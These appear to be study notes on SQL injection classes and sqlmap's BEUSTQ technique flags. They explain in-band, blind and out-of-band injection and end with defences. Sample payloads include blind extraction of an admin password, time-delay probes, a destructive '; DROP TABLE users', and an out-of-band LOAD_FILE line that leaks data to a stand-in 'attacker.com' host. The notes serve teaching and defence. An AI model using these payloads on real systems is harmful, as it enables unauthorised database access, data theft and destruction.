SQLMAP - Injection Types

image-1-25.webp537x234

In-band SQL Injection

In-band SQL Injection is the most common and generally the easiest type of SQL injection attack to exploit. It belongs to one of the three main classifications of SQL injection attacks (the others being Blind/Inferential and Out-of-Band SQL Injection).

The characteristic feature of an In-band SQL Injection attack is that the attacker utilizes the same communication channel to both perform the attack and retrieve the results.

The output of both the intended and the new query may be printed directly on the front end, and we can directly read it.

In-Band SQL Injection is the easiest type to detect and exploit; In-Band just refers to the same method of communication being used to exploit the vulnerability and also receive the results, for example, discovering an SQL Injection vulnerability on a website page and then being able to extract data from the database to the same page.

Types of In-band SQL Injection Attacks

The most commonly used and easy-to-exploit types of in-band SQL injection attacks are:

Error-based SQL Injection

The attacker intentionally inserts bad inputs into an application, which forces the database to return database-level error messages.

The attacker then reads these resulting errors (which may contain sensitive data or information about the database structure) to find a vulnerability and subsequently construct a malicious query. This approach is often useful for building a vulnerability-exploiting request.

UNION SQL Injection

The attacker uses a UNION clause to append a malicious query (the "forged query") to the original query requested by the user.

The result of the forged query is appended to the result of the original query, enabling the attacker to obtain the values of fields from other tables.

For this technique to work, the individual queries must return the same number of columns and the data types in each column must be compatible.

The attacker often determines the number of columns using the ORDER BY clause until an error is encountered.

Other In-band Techniques

Other types of injection techniques that fall under the general category of In-band SQL Injection include those based on manipulating the structure or syntax of the query itself:

Tautology

An attacker uses a conditional OR clause such that the condition of the WHERE clause will always be true (e.g., OR '1'='1'). This is commonly used to bypass user authentication.

End-of-Line Comment

The attacker uses line comments (often denoted by --) in the input, causing the database to execute the attacker's malicious code and then ignore the rest of the original query line (which often contains legitimate logic like password checks).

Piggybacked Query

An attacker injects an additional malicious query into the original query using a semicolon (;) as a query delimiter. This allows the database management system (DBMS) to execute multiple stacked SQL queries, enabling the attacker to extract, add, modify, delete data, execute remote commands, or perform a DoS attack.

Illegal/Logically Incorrect Query

An attacker intentionally sends an incorrect query to the database to generate an error message that may be useful for further attacks, such as extracting the structure of the underlying database.

System Stored Procedure

Malicious inputs are used to execute malicious SQL statements within a database's stored procedure, particularly if the procedure uses dynamic SQL that does not sanitize user inputs.

Blind SQL Injection

Blind SQL Injection (also known as Inferential SQL Injection) is a sophisticated type of SQL injection attack used when an attacker cannot directly view the results of their query through the web application interface. Instead of seeing error messages or returned data, the attacker must infer information about the database structure and content by observing the application's behavior or timing delay.

Core Concepts and Characteristics

Goal: To steal data by asking a series of True and False questions through SQL statements.

Result Visibility: The results of the injection are not visible to the attacker.

Application Response: When an attacker attempts to exploit an application, they see a generic custom page instead of a useful error message. This technique is typically necessary when developers have disabled generic error messages, forcing the application to return a custom, non-informative error page (e.g., "Oops! We are unable to process your request").

Execution Time: Blind SQL injection often takes a longer time to execute than other types of SQLi because a new statement must be crafted for each bit recovered from the database.

Key Differences from Normal SQL Injection

Traditional SQL Injection

  • Visible Results: Error messages and data are displayed directly
  • Generic Error Messages: Detailed database information is revealed
  • Direct Data Access: Attackers can immediately see extracted data
  • Faster Exploitation: Information is obtained quickly

Blind SQL Injection

  • No Visible Results: No error messages or data are displayed
  • Custom Error Messages: Generic "error occurred" messages only
  • ==Indirect Information Gathering: Must use true/false questions==
  • ==Time-Intensive: Requires multiple queries to extract single pieces of data==

When Does Blind SQL Injection Occur?

Blind SQL injection becomes necessary when:

  1. Developers disable detailed error messages
  2. Custom error pages replace generic database errors
  3. Applications return the same page regardless of SQL query success/failure
  4. Security measures hide database structure information

Types of Blind/Inferential SQL Injection

Blind SQL injection is broadly categorized based on how the attacker extracts the True/False results from the server response:

Type of Blind SQL Injection Mechanism Detection Basis
Boolean Exploitation (Content-based) The attacker supplies multiple valid statements that evaluate to TRUE or FALSE in the affected parameter. Inference is made by comparing the response page between the true condition and the false condition (e.g., comparing AND 1=1 vs. AND 1=2). If the page content changes or returns a different page, the attacker confirms the query's result.
Time Delay (Time-based) The attacker sends an SQL query that forces the database to wait for a specified amount of time (a time delay) if the query evaluates to TRUE. Inference is based on the time delay in the server's response. For example, a 10-second delay confirms the existence of a table or character. Common commands include WAITFOR DELAY (MSSQL) and BENCHMARK() (MySQL).
Heavy Query Blind SQLi Used when administrators disable traditional time delay functions. The attacker crafts queries that join multiple system tables, causing them to retrieve a massive amount of data and intentionally take a long time to execute, thus replicating the effect of time-based delays. Inference is based on the significant increase in execution time.

1. SQLMAP - Injection Types#Boolean-based blind

This technique uses true/false questions to extract information bit by bit.

How it works:

  • Attacker sends SQL queries that return true or false
  • Application behavior differs slightly based on query result
  • Information is extracted one bit at a time through logical deduction

Example Process:

-- Check if first character of admin password is 'a'
SELECT * FROM users WHERE username='admin' AND SUBSTRING(password,1,1)='a'

-- If true: normal page loads
-- If false: different response or timing

2. SQLMAP - Injection Types#Time-based blind

This method uses time delays to determine if SQL queries execute successfully.

Core Concept:

  • Inject SQL commands that cause intentional delays
  • Measure response times to determine query success
  • Extract data based on timing differences

Time-Based SQL Injection Techniques

WAITFOR DELAY (SQL Server)

-- If condition is true, wait 10 seconds before responding
IF EXISTS(SELECT * FROM creditcard) WAITFOR DELAY '0:0:10'--

Explanation:

  • WAITFOR DELAY '0:0:10' = Wait for 10 seconds
  • If the condition exists, server delays response
  • If condition is false, normal response time occurs

BENCHMARK() (MySQL)

-- Execute a function multiple times to create delay
SELECT BENCHMARK(5000000, MD5('test'))

How BENCHMARK works:

  • BENCHMARK(count, expression) repeats an operation
  • Creates measurable delays based on repetition count
  • Useful for MySQL-based blind injection

Exploitation Methodology (True/False Extraction)

The extraction of data using blind SQL injection is performed character-by-character or bit-by-bit using conditional logic.

Time-based Extraction Example: An attacker can check for a username length or character existence by using conditional statements combined with a time delay command:

Example: IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--. If the user length is 3, the server will intentionally pause for 10 seconds, confirming the result. This approach is then extended using functions like ASCII(lower(substring((USER), 1, 1))) to guess the ASCII value of each character sequentially.

Boolean Extraction Example: An attacker tests for vulnerability by forcing a known true or false condition.

If the attacker manipulates the URL parameter id=67 to id=67 and 1=2 (False), the page may display no results. If they then change it to id=67 and 1=1 (True), the original item details are displayed, confirming the vulnerability.

Attack Methodology

Step-by-Step Process

  1. Identify Vulnerability
    • Test for SQL injection points
    • Confirm no visible error messages
    • Determine if timing attacks are possible
  2. Information Gathering
    • Database type detection
    • Table name enumeration
    • Column structure discovery
  3. Data Extraction
    • Extract usernames, passwords
    • Retrieve sensitive information
    • Access restricted data

Example Time-Based Attack Flow

-- Step 1: Test if 'creditcard' database exists
IF EXISTS(SELECT * FROM creditcard) WAITFOR DELAY '0:0:10'--

-- Step 2: Analyze response timing
-- If delay occurs: database exists
-- If no delay: database doesn't exist

-- Step 3: Extract first character of admin password
IF ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))=65 WAITFOR DELAY '0:0:5'--

Advanced Blind Injection Techniques

Double Blind SQL Injection: This is an even more challenging attack used when the web application is vulnerable but provides no direct feedback whatsoever (no errors, no visible data, and potentially custom responses even to valid queries). The attacker must rely on indirect indicators or side channels, such as minor changes in application behavior, or precise time-delay analysis to infer success.

Out-of-Band (OOB) as an Alternative: If the server responses are unstable (making time-based blind SQLi unreliable), OOB SQL injection can be used instead. OOB relies on the database server's ability to make external DNS or HTTP requests back to an attacker-controlled server to relay data, bypassing the lack of visibility on the primary communication channel.

Tools for Blind SQL Injection

Several tools support the automation of these intensive attacks:

  • sqlmap: This open-source tool fully supports both Boolean-based blind and time-based blind injection techniques. It can be used with AI-powered querying to systematically identify and exploit these vulnerabilities.
  • Mole: An automatic exploitation tool that supports blind SQL injection exploitation.
  • Damn Small SQLi Scanner (DSSS): Can scan a web application and indicate if a parameter appears to be blind SQLi vulnerable.
  • Burp Suite: Used to proxy and manipulate requests, which is essential for manually performing Boolean-based comparisons or analyzing time delays.

Defense Mechanisms

For Developers

  1. Input Validation: Sanitize all user inputs
  2. Parameterized Queries: Use prepared statements
  3. Least Privilege: Limit database user permissions
  4. Error Handling: Implement consistent error responses
  5. Time Limits: Set query timeout restrictions

For Security Teams

  1. Web Application Firewalls: Deploy SQL injection filters
  2. Database Monitoring: Track unusual query patterns
  3. Response Time Analysis: Monitor for timing attacks
  4. Regular Security Testing: Perform penetration testing

Detection and Prevention

Signs of Blind SQL Injection

  • Unusual response time patterns
  • Repeated similar requests with minor variations
  • High volume of database queries from single source
  • Systematic probing of application parameters

Mitigation Strategies

  • Code Review: Regular security audits
  • Input Sanitization: Validate all user data
  • Database Security: Implement proper access controls
  • Monitoring: Real-time attack detection systems

Conclusion

Blind SQL injection represents a sophisticated attack method that exploits applications even when traditional SQL injection protections are in place. Understanding these techniques is crucial for both ethical hackers conducting security assessments and developers building secure applications.

The key to defense lies in implementing multiple layers of security, from proper coding practices to comprehensive monitoring systems. While blind SQL injection attacks are more time-intensive than traditional methods, they remain highly effective against vulnerable applications.

.

Out of Band SQL Injection

Injection flags

The technique characters BEUSTQ refers to the following:

Boolean-based blind

AND 1=1

Error-based

AND GTID_SUBSET(@@version,0)

Union query-based

UNION ALL SELECT 1,@@version,3

Stacked queries

; DROP TABLE users

Time-based blind

AND 1=IF(2>1,SLEEP(5),0)

Inline queries

SELECT (SELECT @@version) from

Out-of-band SQL Injection

LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\README.txt'))